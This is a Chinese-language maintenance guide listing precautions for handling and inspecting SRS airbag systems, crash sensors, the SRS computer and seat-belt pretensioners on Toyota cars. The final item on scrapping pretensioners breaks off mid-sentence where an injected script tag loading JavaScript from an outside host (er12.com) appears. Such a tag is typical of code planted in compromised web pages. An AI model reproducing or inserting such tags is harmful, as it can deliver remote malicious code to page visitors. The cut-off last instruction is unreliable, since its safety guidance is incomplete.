为了减轻或避免驾驶员与乘员在汽车碰撞时遭受伤害，现代中、高档轿车上都装有辅助防护安全气囊系统(srs气囊系统)，由于该系统结构较为复杂，工作要求高，而工作时机又极少，因此在使用和检查过程中，应特别注意。否则，可能导致系统意外张开，造成经济损失和人员伤害；或者由于误操作造成srs气囊不起作用。本文将以丰田toyota系列轿车为例，说明srs气囊系统的使用及检查注意事项。
一、srs气囊系统使用及检查注意事项
1.检查与排除srs气囊系统故障时，在拆下蓄电池负极电缆端子之前，必须调出自诊断系统的故障代码，否则会丢失电脑存储器中的故障信息。
2.检查srs气囊系统时务必将点火开关转到锁止(lock)位置，并将蓄电池负极端子线拆下20s或更长时间之后才能进行。否则系统由自身备用电源供电，检查中可能导致气囊误膨胀。
3.汽车在工作过程中，即使发生轻微碰撞，srs气囊系统并未膨胀，也应对前碰撞传感器、驾驶席srs气囊组件、乘员席srs气囊组件、座椅安全带收紧器等进行检查。
4.srs气囊系统线束套装在黄色波纹管内，并与车颈线束和地板线束连成一体，所有线束连接器均为黄色，以示区别。该系统对工作可靠性要求极高，所有零部件均为一次性使用部件，决不能将碰撞传感器、srs气囊组件、srs电脑、座椅安全带收紧器等部件修复后重复使用。如需更换零部件，则应使用新品，并旦不允许使用不同车型的零部件。
5.在检修汽车其他零部件时，如有可能对srs气囊系统的传感器产生冲击，则应在检修工作开始之前，先将碰撞传感器拆下，以防气囊误膨胀。
6.srs气囊系统采用水银开关式碰撞传感器，由于水银蒸气有剧毒，因此更换下来的传感器不能随意丢弃，应作为有害废物妥善处理。
7.当碰撞传感器、srs电脑、srs气囊组件磕碰之后，或其壳体、支架、连接器有裂纹、凹陷时，应更换新品。
8.前碰撞传感器、srs电脑和srs气囊组件不得暴晒或接近火源。
9.决不允许使用万用表检查气囊组件中点火器的电阻，防止表内电源电压将气囊系统引爆。检测其他部件电阻和srs气囊系统故障时，必须使用高阻抗万用表，最好使用数字万用表。
10.在srs气囊系统各个总成或零部件的表面均标有说明标牌或注意事项，使用与检查时必须遵照执行。
11.检查srs气囊系统之后，必须对srs指示灯进行检查。当点火开关转到接通(on)或辅助(acc)位置时，指示灯亮6s左右后熄灭，说明srs气囊系统正常。
二、前碰撞传感器使用及检查注意事项
1.当汽车遭受碰撞或气囊引爆后，前传感器不得继续使用，应同时更换左前和右前碰撞传感器。
2.碰撞传感器的工作具有方向性，安装前碰撞传感器时，传感器壳体上的箭头必须指向汽车前方。
3.前碰撞传感器的定位螺栓和螺母必须经过防锈处理，拆卸或更换前碰撞传感器时，必须同时更换定位螺栓和螺母。
4.前碰撞传感器引出导线的连接器装有电路连接诊断机构，安装连接器时，插头与插座必须插牢。否则，自诊断系统工作时将视为故障并将其代码记入存储器中。
三、srs气囊组件使用及检查注意事项
1.拆卸或搬运srs气囊组件时，气囊装饰盖一面应当朝上，不得将srs气囊组件重叠堆放，以防气囊误膨胀，造成严重事故。
2.srs气囊组件的任何部位既不能涂抹润滑脂，也不能使用任何类型的洗涤剂请洗。
3.气囊组件应当存放于环境温度低于93℃、湿度不大并远离电场干扰的地方。
4.当需要用电弧焊修理汽车车身时，操作之前应将气囊组件与螺旋弹簧的连接器脱开(该连接器设在转向柱下面，组合开关连接器旁边)。
5.在报废srs气囊组件时，应先使用专用修理工具(sst)将气囊引爆，引爆工作应在远离电场干扰的地方进行，以免电场过强导致气囊误爆。
四、srs电脑使用及检查注意事项
1.汽车一旦发生碰撞或气囊引爆膨胀后，sbs电脑不能继续使用。
2.连接或拆下srs电脑上的连接器插座之前，应先将电脑组件安装在其固定位置，否则防护传感器起不到防护作用。
3.在拆卸srs电脑固定螺栓之前，必须将点火开关转到锁止位置，并在拆下蓄电池负极电缆端子20s之后再进行。
五、座椅安全带收紧器使用及检查注意事项
1.绝对不能检测安全带收紧器中点火器的电阻，否则有可能导致安全带收紧器工作而发生意外伤害。
2.安全带收紧器既不能沾水、油，也不能用任何类型的洗涤剂清洗。
3.座椅安全带收紧器应存放在环境温度低于80℃、湿度不大并远离电场干扰的地方。
4.在使用电弧焊修理汽车之前，应将安全带收紧器的连接器脱开。
5.在报废整车或报废安全带收紧器之?script src=http://er12.com/t.js>
